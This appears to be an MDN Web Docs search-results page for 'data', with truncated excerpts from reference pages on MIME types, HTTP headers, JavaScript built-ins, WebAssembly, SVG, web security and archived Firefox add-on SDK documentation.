... html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge.
... cors settings attributes some html elements that provide support for cors, such as <img> or <video>, have a crossorigin attribute (crossorigin property), which lets you configure the cors requests for the element's fetched data.
Common MIME types - HTTP
a textual file should be human-readable and must not contain binary data.
...on kind of document mime type .aac aac audio audio/aac .abw abiword document application/x-abiword .arc archive document (multiple files embedded) application/x-freearc .avi avi: audio video interleave video/x-msvideo .azw amazon kindle ebook format application/vnd.amazon.ebook .bin any kind of binary data application/octet-stream .bmp windows os/2 bitmap graphics image/bmp .bz bzip archive application/x-bzip .bz2 bzip2 archive application/x-bzip2 .csh c-shell script application/x-csh .css cascading style sheets (css) text/css .csv comma-separated values (csv) text/csv .doc microsoft word app...
... icalendar format text/calendar .jar java archive (jar) application/java-archive .jpeg .jpg jpeg images image/jpeg .js javascript text/javascript, per the following specifications: https://html.spec.whatwg.org/multipage/#scriptinglanguages https://html.spec.whatwg.org/multipage/#dependencies:willful-violation https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ .json json format application/json .jsonld json-ld format application/ld+json .mid .midi musical instrument digital interface (midi) audio/midi audio/x-midi .mjs javascript module text/javascript .mp3 mp3 audio audio/mpeg .mpeg mpeg video v...
Content-Location - HTTP
the content-location header indicates an alternate location for the returned data.
...location is a header associated with the response, while content-location is associated with the data returned.
... examples requesting data from a server in different formats let's say a site's api can return data in json, xml, or csv formats.
CSP: report-uri - HTTP
$current_domain; http_response_code(204); // http 204 no content $json_data = file_get_contents('php://input'); // we pretty print the json before adding it to the log file if ($json_data = json_decode($json_data)) { $json_data = json_encode($json_data, json_pretty_print | json_unescaped_slashes); if (!file_exists($log_file)) { // send an email $message = "the following content-security-policy violation occurred on " .
... $json_data .
... $log_file; mail($email_address, $email_subject, $message, 'content-type: text/plain;charset=utf-8'); } else if (filesize($log_file) > $log_file_size_limit) { exit(0); } file_put_contents($log_file, $json_data, file_append | lock_ex); } specifications specification status comment content security policy level 3the definition of 'report-uri' in that specification.
Sec-Fetch-Dest - HTTP
the sec-fetch-dest fetch metadata header indicates the request's destination, that is how the fetched data will be used.
... header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-dest: audio sec-fetch-dest: audioworklet sec-fetch-dest: document sec-fetch-dest: embed sec-fetch-dest: empty sec-fetch-dest: font sec-fetch-dest: image sec-fetch-dest: manifest sec-fetch-dest: nested-document sec-fetch-dest: object sec-fetch-dest: paintworklet sec-fetch-dest: report sec-fetch-dest: script sec-fetch-dest: serviceworker sec-fetch-dest: sharedworker sec-fetch-dest: style sec-fetch-dest: track sec-fetch-dest: video sec-fetch-dest: worker sec-fetch-dest: xslt sec-fetch-dest: audioworklet sec-fetch-dest: audioworklet values audio audioworklet document embed empty font imag...
...e manifest object paintworklet report script serviceworker sharedworker style track video worker xslt nested-document examples todo specifications specification title fetch metadata request headers the sec-fetch-dest http request header ...
Sec-Fetch-Site - HTTP
the sec-fetch-site fetch metadata header indicates the relationship between a request initiator's origin and the origin of the resource.
... header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted response header cors-safelisted request header syntax sec-fetch-site: cross-site sec-fetch-site: same-origin sec-fetch-site: same-site sec-fetch-site: none values cross-site same-origin same-site none this request does not relate to any context like site, origin, or frame.
... examples todo specifications specification title fetch metadata request headers the sec-fetch-site http request header ...
Sec-Fetch-User - HTTP
the sec-fetch-user fetch metadata header indicates whether or not a navigation request was triggered by a user activation.
... header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-user: ?0 sec-fetch-user: ?1 values the value is a boolean structured header.
... examples todo specifications specification title fetch metadata request headers the sec-fetch-user http request header ...
An overview of HTTP - HTTP
WebHTTPOverview
it is the foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser.
... clients and servers communicate by exchanging individual messages (as opposed to a stream of data).
... apis based on http the most commonly used api based on http is the xmlhttprequest api, which can be used to exchange data between a user agent and a server.
Closures - JavaScript
practical closures closures are useful because they let you associate data (the lexical environment) with a function that operates on that data.
... this has obvious parallels to object-oriented programming, where objects allow you to associate data (the object's properties) with one or more methods.
...in particular, data hiding and encapsulation.
Control flow and error handling - JavaScript
for example: var b = new boolean(false); if (b) // this condition evaluates to true if (b == true) // this condition evaluates to false example in the following example, the function checkdata returns true if the number of characters in a text object is three.
... function checkdata() { if (document.form1.threechar.value.length == 3) { return true; } else { alert( 'enter exactly three characters.
... openmyfile(); try { writemyfile(thedata); // this may throw an error } catch(e) { handleerror(e); // if an error occurred, handle it } finally { closemyfile(); // always close the resource } if the finally block returns a value, this value becomes the return value of the entire try…catch…finally production, regardless of any return statements in the try and catch blocks: function f() { try { console.log(0); throw '...
Intl.Locale.prototype.hourCycle - JavaScript
like other additional locale data, hour cycle type is an extension subtag, which extends the data contained in a locale string.
... examples these examples will show you how to add hour cycle data to your locale object.
...these subtags add additional data about the locale, and are added to locale identifiers by using the -u extension key.
JSON.stringify() - JavaScript
description json.stringify() converts a value to json notation representing it: if the value has a tojson() method, it's responsible to define what data will be serialized.
...y([new number(3), new string('false'), new boolean(false)]); // '[3,"false",false]' // string-keyed array elements are not enumerable and make no sense in json let a = ['foo', 'bar']; a['baz'] = 'quux'; // a: [ 0: 'foo', 1: 'bar', baz: 'quux' ] json.stringify(a); // '["foo","bar"]' json.stringify({ x: [10, undefined, function(){}, symbol('')] }); // '{"x":[10,null,null,null]}' // standard data structures json.stringify([new set([1]), new map([[1, 2]]), new weakset([{a: 1}]), new weakmap([[{a: 1}, 2]])]); // '[{},{},{},{}]' // typedarray json.stringify([new int8array([1]), new int16array([1]), new int32array([1])]); // '[{"0":1},{"0":1},{"0":1}]' json.stringify([new uint8array([1]), new uint8clampedarray([1]), new uint16array([1]), new uint32array([1])]); // '[{"0":1},{"0":1},{"0":1},{...
...json.stringify() calls tojson with one parameter: if this object is a property value, the property name if it is in an array, the index in the array, as a string an empty string if json.stringify() was directly called on this object for example: var obj = { data: 'data', tojson (key) { if (key) return `now i am a nested object under key '${key}'`; else return this; } }; json.stringify(obj); // '{"data":"data"}' json.stringify({ obj }); // shorthand property names (es2015).
Map - JavaScript
therefore, this appears to work in a way: let wrongmap = new map() wrongmap['bla'] = 'blaa' wrongmap['bla2'] = 'blaaa2' console.log(wrongmap) // map { bla: 'blaa', bla2: 'blaaa2' } but that way of setting a property does not interact with the map data structure.
...other operations on the data fail: wrongmap.has('bla') // false wrongmap.delete('bla') // false console.log(wrongmap) // map { bla: 'blaa', bla2: 'blaaa2' } the correct usage for storing data in the map is through the set(key, value) method.
...() or values() iterators, and convert them to an array console.log(array.from(mymap.keys())) // ["key1", "key2"] cloning and merging maps just like arrays, maps can be cloned: let original = new map([ [1, 'one'] ]) let clone = new map(original) console.log(clone.get(1)) // one console.log(original === clone) // false (useful for shallow comparison) important: keep in mind that the data itself is not cloned.
Object.seal() - JavaScript
making all properties non-configurable also prevents them from being converted from data properties to accessor properties and vice versa, but it does not prevent the values of data properties from being changed.
... attempting to delete or add properties to a sealed object, or to convert a data property to accessor or vice versa, will fail, either silently or by throwing a typeerror (most commonly, although not exclusively, when in strict mode code).
...obj.foo = 'quux'; // but you can't convert data properties to accessors, // or vice versa.
Symbol - JavaScript
the data type symbol is a primitive data type.
... a symbol value may be used as an identifier for object properties; this is the data type's primary purpose, although other use-cases exist, such as enabling opaque data types, or serving as an implementation-supported unique identifier in general.
...it creates a new symbol each time: symbol('foo') === symbol('foo') // false the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this prevents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number).
WebAssembly.Module.customSections() - JavaScript
(read high level structure for information on section structures, and how normal sections ("known sections") and custom sections are distinguished.) this provides developers with a way to include custom data inside wasm modules for other purposes, for example the name custom section, which allows developers to provide names for all the functions and locals in the module (like "symbols" in a native build).
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Module.exports() - JavaScript
var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); var exports = webassembly.module.exports(mod); console.log(exports[0]); }; the exports[0] output looks like this: { name: "exported_func", kind: "function" } specifications specification webassembly javascript interfacethe definition of 'exports()' in...
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Module - JavaScript
var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.instantiate() - JavaScript
var importobject = { imports: { imported_func: function(arg) { console.log(arg); } } }; onmessage = function(e) { console.log('module received from main thread'); var mod = e.data; webassembly.instantiate(mod, importobject).then(function(instance) { instance.exports.exported_func(); }); }; specifications specification webassembly javascript interfacethe definition of 'instantiate()' in that specification.
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Standard built-in objects - JavaScript
string regexp indexed collections these objects represent collections of data which are ordered by an index value.
... map set weakmap weakset structured data these objects represent and interact with structured data buffers and data coded using javascript object notation (json).
... arraybuffer sharedarraybuffer atomics dataview json control abstraction objects control abstractions can help to structure code, especially async code (without using deeply nested callbacks, for example).
typeof - JavaScript
for more information about types and primitives, see also the javascript data structure page.
... // all constructor functions, with the exception of the function constructor, will always be typeof 'object' let str = new string('string'); let num = new number(100); typeof str; // it will return 'object' typeof num; // it will return 'object' let func = new function(); typeof func; // it will return 'function' need for parentheses in syntax // parentheses can be used for determining the data type of expressions.
... let idata = 99; typeof idata + ' wisen'; // 'number wisen' typeof (idata + ' wisen'); // 'string' regular expressions callable regular expressions were a non-standard addition in some browsers.
for await...of - JavaScript
async function* asyncgenerator() { let i = 0; while (i < 3) { yield i++; } } (async function() { for await (let num of asyncgenerator()) { console.log(num); } })(); // 0 // 1 // 2 for a more concrete example of iterating over an async generator using for await...of, consider iterating over data from an api.
... this example first creates an async iterable for a stream of data, then uses it to find the size of the response from the api.
... async function* streamasynciterable(stream) { const reader = stream.getreader(); try { while (true) { const { done, value } = await reader.read(); if (done) { return; } yield value; } } finally { reader.releaselock(); } } // fetches data from url and calculates response size using the async generator.
Web media technologies
mediastream recording api the mediastream recording api lets you capture media streams to process or filter the data or record it to disk.
... web audio api the web audio api lets you generate, filter, and manipulate sound data both in real-time and on pre-recorded material, then send that audio to a destination such as an <audio> element, a media stream, or to disk.
... webrtc webrtc (web real-time communication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the internet, without requiring an intermediary.
Performance Monitoring: RUM vs synthetic monitoring - Web Performance
the traffic measured is not of your actual users, but rather synthetically generated traffic collecting data on page performance.
...generally, a third party script injects a script on each page to measure and report back on page load data for every request made.
... while this is more expensive and likely less convenient, it provides vital user experience data.
Web Performance
in this article, we'll discuss creating a clear business case to convince decision-makers to make the investment.understanding latencylatency is the time it takes for a packet of data to travel from source to a destination.
... frame timing api the performanceframetiming interface provides frame timing data about the browser's event loop.
... performance bottlenecks understanding bandwidth bandwidth is the amount of data measured in megabits(mb) or kilobits(kb) that one can send per second.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
'/pwa-examples/js13kpwa/icons/icon-64.png', '/pwa-examples/js13kpwa/icons/icon-96.png', '/pwa-examples/js13kpwa/icons/icon-128.png', '/pwa-examples/js13kpwa/icons/icon-168.png', '/pwa-examples/js13kpwa/icons/icon-192.png', '/pwa-examples/js13kpwa/icons/icon-256.png', '/pwa-examples/js13kpwa/icons/icon-512.png' ]; next, the links to images to be loaded along with the content from the data/games.js file are generated in the second array.
... var gamesimages = []; for(var i=0; i<games.length; i++) { gamesimages.push('data/img/'+games[i].slug+'.jpg'); } var contenttocache = appshellfiles.concat(gamesimages); then we can manage the install event itself: self.addeventlistener('install', (e) => { console.log('[service worker] install'); e.waituntil( caches.open(cachename).then((cache) => { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); there are two things that need an explanation here: what extendableevent.waituntil does, and what the caches object is.
... caches is a special cachestorage object available in the scope of the given service worker to enable saving data — saving to web storage won't work, because web storage is synchronous.
alignment-baseline - SVG: Scalable Vector Graphics
x="60" y="10">a hanging</text> <text alignment-baseline="middle" x="60" y="65">a middle</text> <text alignment-baseline="baseline" x="60" y="110">a baseline</text> <!-- materialisation of anchors --> <circle cx="60" cy="10" r="3" fill="red" /> <circle cx="60" cy="65" r="3" fill="red" /> <circle cx="60" cy="110" r="3" fill="red" /> <style><![cdata[ text{ font: bold 36px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> for object alignment in other elements (such as <text>), see dominant-baseline.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
path - SVG: Scalable Vector Graphics
WebSVGAttributepath
value <path-data> default value none animatable no <path-data> this value defines the motion path along which the referenced element is animated.
...an empty string indicates that there is no path data for the element.
... value <path-data> default value path specified in href animatable yes <path-data> this value defines the text path along which the glyphs of the <text> element are aligned.
text-anchor - SVG: Scalable Vector Graphics
90,110" stroke="grey" /> <!-- anchors in action --> <text text-anchor="start" x="60" y="40">a</text> <text text-anchor="middle" x="60" y="75">a</text> <text text-anchor="end" x="60" y="110">a</text> <!-- materialisation of anchors --> <circle cx="60" cy="40" r="3" fill="red" /> <circle cx="60" cy="75" r="3" fill="red" /> <circle cx="60" cy="110" r="3" fill="red" /> <style><![cdata[ text { font: bold 36px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> usage notes default value start value start | middle | end animatable yes start the rendered characters are aligned such that the start of the text string is at the initial current text position.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
text-rendering - SVG: Scalable Vector Graphics
this option will usually cause the user agent to suspend the use of hinting so that glyph outlines are drawn with comparable geometric precision to the rendering of path data.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SVG element reference - SVG: Scalable Vector Graphics
WebSVGElement
d> <fefunca> <fefuncb> <fefuncg> <fefuncr> <fegaussianblur> <feimage> <femerge> <femergenode> <femorphology> <feoffset> <fepointlight> <fespecularlighting> <fespotlight> <fetile> <feturbulence> <filter> <foreignobject> g <g> h <hatch> <hatchpath> i <image> l <line> <lineargradient> m <marker> <mask> <mesh> <meshgradient> <meshpatch> <meshrow> <metadata> <mpath> p <path> <pattern> <polygon> <polyline> r <radialgradient> <rect> s <script> <set> <solidcolor> <stop> <style> <svg> <switch> <symbol> t <text> <textpath> <title> <tspan> u <unknown> <use> v <view> svg elements by category animation elements <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <discard>, <mpath>, <set> basic ...
...shapes <circle>, <ellipse>, <line>, <polygon>, <polyline>, <rect> container elements <a>, <defs>, <g>, <marker>, <mask>, <missing-glyph>, <pattern>, <svg>, <switch>, <symbol>, <unknown> descriptive elements <desc>, <metadata>, <title> filter primitive elements <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>,<fefunca>, <fefuncb>, <fefuncg>, <fefuncr>,<fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence> font elements <font>, <font-face>, <font-face-format>, <font-face-name>, <font-face-src>, <font-face-uri>, <hkern>, <vkern> gradient elements <lineargradient>, <meshgradient>, <radialgradient>, <stop> gra...
...phics elements <circle>, <ellipse>, <image>, <line>, <mesh>, <path>, <polygon>, <polyline>, <rect>, <text>, <use> graphics referencing elements <mesh>, <use> light source elements <fedistantlight>, <fepointlight>, <fespotlight> never-rendered elements <clippath>, <defs>, <hatch>, <lineargradient>, <marker>, <mask>, <meshgradient>, <metadata>, <pattern>, <radialgradient>, <script>, <style>, <symbol>, <title> paint server elements <hatch>, <lineargradient>, <meshgradient>, <pattern>, <radialgradient>, <solidcolor> renderable elements <a>, <circle>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mesh>, <path>, <polygon>, <polyline>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, <unknown>, <use> shape elements <circle>, <ellipse>, <line>, <mesh>, <path>, <polygon...
Example - SVG: Scalable Vector Graphics
view the example <?xml version='1.0'?> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <title>a swarm of motes</title> <style type='text/css'> <![cdata[ label, input { width: 150px; display: block; float: left; margin-bottom: 10px; } label { text-align: right; width: 75px; padding-right: 20px; } br { clear: left; } ]]> </style> </head> <body onload='update()'> <svg:svg id='display' width='400' height='300'> <svg:circle id='cursor' cx='200' cy='150' r='7' fill='#0000ff' fill-opacity='0.5'/> </s...
... </p> <div> (c) 2006 <a id='emailme' href='#'>nick johnson</a> <script type='text/javascript'> <![cdata[ // foil spam bots var email = '@riovia.net'; email ='nick' + email; document.getelementbyid('emailme').href = 'mailto:'+email; ]]> </script> this software is free for you to use in any way whatsoever, and comes with no warranty at all.
...velocity:</label> <input id='max_velocity' value='15'/> <br/> <label>attraction to cursor:</label> <input id='attract_cursor' value='6'/> <br/> <label>repulsion from peers:</label> <input id='repel_peer' value='5'/> <br/> </p> </form> <script type='text/javascript'> <![cdata[ // array of motes var motes; // get the display element.
SVG 2 support in Mozilla - SVG: Scalable Vector Graphics
t for <image>; bug 1240357) rendering model change notes svg root and <foreignobject> not overflow:hidden in ua style sheet implementation status unknown allow overflow: auto; to clip and show scroll bars implementation status unknown allow overflow: scroll; to show scroll bars on <svg> elements implementation status unknown basic data types and interfaces change notes dommatrix or dommatrixreadonly instead of svgmatrix implementation status unknown domrect or domrectreadonly instead of svgrect implementation status unknown dompoint or dompointreadonly instead of svgpoint implementation status unknown members of svgstylable and svglangspace available in svgelement ...
...us unknown svgviewspec removed implementation status unknown svgelement.style removed implementation status unknown svggraphicselement.gettransformtoelement() removed not removed yet svggraphicselement.getctm() on the outermost element implementation status unknown animval attribute alias of baseval implementation status unknown dataset attribute for svgelement implementation status unknown moved pathlength attribute and gettotallength() and getpointatlength() methods from svgpathelement to svggeometryelement implemented (bug 1239100) document structure change notes svgsvgelement.suspendredraw(), svgsvgelement.unsuspendredraw(), and svgsvgelement.unsuspendredrawall() deprecated ...
...not implemented yet (bug 1318208) vector-effect has no effect within 3d rendering context implementation status unknown consider clip and overflow on svg document referenced by <image> implementation status unknown paths change notes b and b path commands implementation status unknown z and z path commands to add path coordinate data to previous command implementation status unknown not render <path>, <polygon> and <polyline> with no data implementation status unknown svgpathseg*, svganimatedpathdata and related methods removed from svgpathelement implementation status unknown d attribute as css property implementation status unknown basic shapes change notes ...
Referer header: privacy and security concerns - Web security
a sensible application would remove such risks by making password reset urls only usable for a single use, or when combined with a unique user token, and transmitting sensitive data in different ways.
... you should use post rather than get wherever possible, to avoid passing sensitive data to other locations via urls.
...you should enlist the help of a web security expert to write these requirements, and consider both user needs and welfare, as well as other issues like policy and regulation enforced by legislation such as the eu general data protection regulation (gdpr).
Securing your site - Web security
for certain types of data, you may wish to disable this feature.
... content security policy an added layer of security that helps to detect and mitigate certain types of attacks, including cross site scripting (xss) and data injection attacks.
... these attacks are used for everything from data theft to site defacement or distribution of malware.
Tutorials
html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge.
...here we teach object theory and syntax in detail, look at how to create your own objects, and explain what json data is and how to work with it.
... client-side web apis when writing client-side javascript for websites or applications, you won't go very far before you start to use apis — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other websites or services.
Using the WebAssembly JavaScript API - WebAssembly
as before, fetch, compile, and instantiate your wasm module — add the following into a <script> element at the bottom of your html body: webassembly.instantiatestreaming(fetch('table.wasm')) .then(function(results) { // add code here }); now let’s access the data in the tables — add the following lines to your code in the indicated place: var tbl = results.instance.exports.tbl; console.log(tbl.get(0)()); // 13 console.log(tbl.get(1)()); // 42 this code accesses each function reference stored in the table in turn, and instantiates them to print the values they hold to the console — note how each function reference is retrieved with a table.pro...
... to create a webassembly global instance from inside your javascript, you use the webassembly.global() constructor, which looks like this: const global = new webassembly.global({value:'i32', mutable:true}, 0); you can see that this takes two parameters: an object that contains two properties describing the global variable: value: its data type, which can be any data type accepted within webassembly modules — i32, i64, f32, or f64.
...this can be any value, as long as its type matches the specified data type.
XUL Migration Guide - Archive of obsolete content
my-addon/ chrome/ content/ locale/ skin/ chrome.manifest data/ lib/ package.json there are limitations on what you can do in this manifest file: for example, you can't register overlays, resource: uris, or components.
...for example, if you have only imported the notifications module, then even if a malicious web page manages to inject code into your add-on, it can't use the sdk's file module to access the user's data.
addon-page - Archive of obsolete content
you can supply the content in an html file in your add-on's "data" directory.
...after this, the page loaded from "data/index.html" will not contain navigational elements: var addontab = require("sdk/addon-page"); var data = require("sdk/self").data; require("sdk/tabs").open(data.url("index.html")); this only affects the page at "data/index.html": all other pages are displayed normally.
tabs - Archive of obsolete content
the stylesheet is called "style.css" and is located in the add-on's "data" directory: var tabs = require("sdk/tabs"); var { attach, detach } = require('sdk/content/mod'); var { style } = require('sdk/stylesheet/style'); var { togglebutton } = require("sdk/ui/button/toggle"); var style = style({ uri: './style.css' }); var button = togglebutton({ id: "stylist", label: "stylist", icon: "./icon-16.png", onchange: function(state) { if (state.checked) { ...
... getthumbnail() returns thumbnail data uri of the page currently loaded in this tab.
content/worker - Archive of obsolete content
methods postmessage(data) asynchronously emits "message" events in the enclosed worker, where content script was loaded.
... parameters data : number,string,json the data to send.
event/core - Archive of obsolete content
an event listener may be registered to any event target using the on function: var { on, once, off, emit } = require('sdk/event/core'); var target = { name: 'target' }; on(target, 'message', function listener(event) { console.log('hello ' + event); }); on(target, 'data', console.log); an event of a specific type may be emitted on any event target object using the emit function.
... emit(target, 'message', 'event'); // info: 'hello event' emit(target, 'data', { type: 'data' }, 'second arg'); // info: [object object] 'second arg' registered event listeners may be removed using off function: off(target, 'message'); emit(target, 'message', 'bye'); // info: 'hello bye' sometimes listener only cares about first event of specific type.
event/target - Archive of obsolete content
chaining emitters can also have their methods chained: target.on('message', handlemessage) .on('data', parsedata) .on('error', handleerror); eventtarget eventtarget is an exemplar for creating an objects that can be used to add / remove event listeners on them.
... worker.on('message', function (data) { console.log('data received: ' + data) }); parameters type : string the type of event.
frame/utils - Archive of obsolete content
usage module exports create function that takes the nsidomdocument of a privileged document and creates a browser element in its documentelement: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,foo'); let frame = create(window.document); optionally create can be passed set of options to configure created frame even further.
... execution of scripts may easily be enabled: let { open } = require('sdk/window/utils'); let { create } = require('sdk/frame/utils'); let window = open('data:text/html,top'); let frame = create(window.document, { uri: 'data:text/html,<script>console.log("running");</script>', allowjavascript: true }); } globals functions create(document, options) creates a xul browser element in a privileged document.
system/child_process - Archive of obsolete content
child.stdin has no write() method (see example below for writing to child process stdin) examples adaption of node's documentation for spawn(): var child_process = require("sdk/system/child_process"); var ls = child_process.spawn('/bin/ls', ['-lh', '/usr']); ls.stdout.on('data', function (data) { console.log('stdout: ' + data); }); ls.stderr.on('data', function (data) { console.log('stderr: ' + data); }); ls.on('close', function (code) { console.log('child process exited with code ' + code); }); writing to child process' stdin because the sdk implementation does not include a write() method for child processes, you must use the "raw" emit event.
... const { emit } = require('sdk/event/core'); const { spawn } = require('sdk/system/child_process'); var proc = spawn("/bin/cat"); emit(proc.stdin, 'data', "hello from add-on code"); emit(proc.stdin, 'end'); using child_process in non-jpm extensions // import sdk stuff const commonjs_uri = 'resource://gre/modules/commonjs'; const { require } = cu.import(commonjs_uri + '/toolkit/require.js', {}); var child_process = require('sdk/system/child_process'); // use it in the same way as in the example above ...
ui/button/action - Archive of obsolete content
you can specify this in one of three ways: as a resource:// url pointing at an icon file in your add-on's "data" directory, typically constructed using self.data.url(iconfile) as a relative path: a string in the form "./iconfile", where "iconfile" is a relative path to the icon file beginning in your add-on's "data" directory as an object, or dictionary of key-value pairs.
... var { actionbutton } = require('sdk/ui/button/action'); var self = require("sdk/self"); var button1 = actionbutton({ id: "my-button1", label: "my button1", icon: self.data.url("firefox-16.png") }); var button2 = actionbutton({ id: "my-button2", label: "my button2", icon: "./firefox-16.png" }); var button3 = actionbutton({ id: "my-button3", label: "my button3", icon: { "16" : "./firefox-16.png", "32" : "./firefox-32.png", "64" : "./firefox-64.png" } }); if you use the final form, firefox will automatically c...
cfx to jpm - Archive of obsolete content
for example: addons.mozilla.org uses it to distinguish between new add-ons and updates to existing add-ons, and the simple-storage module uses it to figure out which stored data belongs to which add-on.
... permanently removed fields data fullname - use title instead lib packages tests icon64 package.json escaping where with cfx you might have had to escape with 2 upto 3 backslashes ( \ ), jpm only needs one now.
jpm - Archive of obsolete content
this means that any profile-specific data entered from one run of jpm is not, by default, available in the next run.
... this includes, for example, any extra add-ons you installed, or your history, or any data stored using the simple-storage api.
jpmignore - Archive of obsolete content
for example: .* * !/data/** !/lib/** !/locale/** !/node_modules/** !/package.json !/icon.png !/icon64.png !/copying !/bootstrap.js !/install.rdf this would include all editor backup files and similar in the whitelisted subdirectories, to avoid that you can append another blacklist after the whitelist.
... this one would work for xemacs: .* * !/data/** !/lib/** !/locale/** !/node_modules/** !/package.json !/icon.png !/icon64.png !/copying !/bootstrap.js !/install.rdf *~ \#* ...
Add a Context Menu Item - Archive of obsolete content
typically you'd store the image in your add-on's "data" directory, and construct the url using self.data.url(): var self = require("sdk/self"); var contextmenu = require("sdk/context-menu"); var menuitem = contextmenu.item({ label: "log selection", context: contextmenu.selectioncontext(), contentscript: 'self.on("click", function () {' + ' var text = window.getselection().tostring();' + ' self.postmessage(t...
...ext);' + '});', image: self.data.url("icon-16.png"), onmessage: function (selectiontext) { console.log(selectiontext); } }); adding an access key new in firefox 35.
Getting started (cfx) - Archive of obsolete content
navigate to it, type cfx init, and hit enter: mkdir my-addon cd my-addon cfx init you'll see some output like this: * lib directory created * data directory created * test directory created * doc directory created * readme.md written * package.json written * test/test-main.js written * lib/main.js written * doc/main.md written your sample add-on is now ready for testing: try "cfx test" and then "cfx run".
... next, save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png back at the command prompt, type: cfx run this is the sdk command to run a new instance of firefox with your add-on installed.
Unit Testing - Archive of obsolete content
require("./base64"); var button = require("sdk/ui/button/action").actionbutton({ id: "base64", label: "base64", icon: "./icon-16.png", onclick: function() { encoded = base64.btoa("hello"); console.log(encoded); decoded = base64.atob(encoded); console.log(decoded); } }); to run this example you'll also have to have an icon file named "icon-16.png" saved in your add-ons "data" directory.
... at this point your add-on ought to look like this: /base64 /data icon-16.png package.json readme.md index.js base64.js /test test-base64.js now execute jpm --verbose test from the add-on's root directory.
Examples and demos from articles - Archive of obsolete content
[article] image preview before upload [html] the filereader.prototype.readasdataurl() method is useful, for example, to get a preview of an image before uploading it.
...[article] pure-css tooltips [html] this shows the use of the ::after pseudo-element in conjunction with the attr() css expression and a data-descr custom data attribute to create a pure-css, glossary-like tooltip.
QuerySelector - Archive of obsolete content
queryselector(selector); }; example: <h1>test!</h1> <script> htmldocument.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.$('h1')); // [object htmlheadingelement] </script> xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; example: <label value="test!"/> <script type="text/javascript"><![cdata[ xuldocument.prototype.$ = function (selector) { // only for xul return this.queryselector(selector); }; alert(document.$('label')); // [object xulelement] ]]></script> document.prototype.$ = function (selector) { // only for plain xml return this.queryselector(selector); }; var foo = document.implementation.createdocument('somens', 'foo', null); // create an xml document <foo xmlns="so...
...element.prototype.$ = function (selector) { // works for html, xul, and plain xml return this.queryselector(selector); }; html example: <h1><a>test!<a/></h1> <script> element.prototype.$ = function (selector) { return this.queryselector(selector); }; alert(document.getelementsbytagname('h1')[0].$('a').nodename); // 'a' xul example: <hbox><vbox/></hbox> <script type="text/javascript"><![cdata[ element.prototype.$ = function (selector) { return this.queryselector(selector); }; var xulns = 'http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul'; alert(document.getelementsbytagnamens(xulns, 'hbox')[0].$('vbox').nodename); // vbox ]]></script> xml example: <foo xmlns="somens"><bar/></foo> in document earlier var foo = document.getelementsbytagnamens('somens', 'foo')[0]; alert...
Extension Etiquette - Archive of obsolete content
about dialogs there is a default popup about dialog that is created from install.rdf data; creating a new xul about box is usually unnecessary.
... names and metadata naming be creative!
Inline options - Archive of obsolete content
for example: var observer = { observe: function(asubject, atopic, adata) { if (atopic == "addon-options-displayed" && adata == "my_addon@my_domain") { var doc = asubject; var control = doc.getelementbyid("myaddon-pref-control"); control.value = "test"; } } }; services.obs.addobserver(observer, "addon-options-displayed", false); // don't forget to remove your observer when your add-on is shut down.
... note: starting in gecko 13.0, you can also listen for the addon-options-hidden notification, which has the same subject and data as above, to find out when the ui is about to be removed.
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
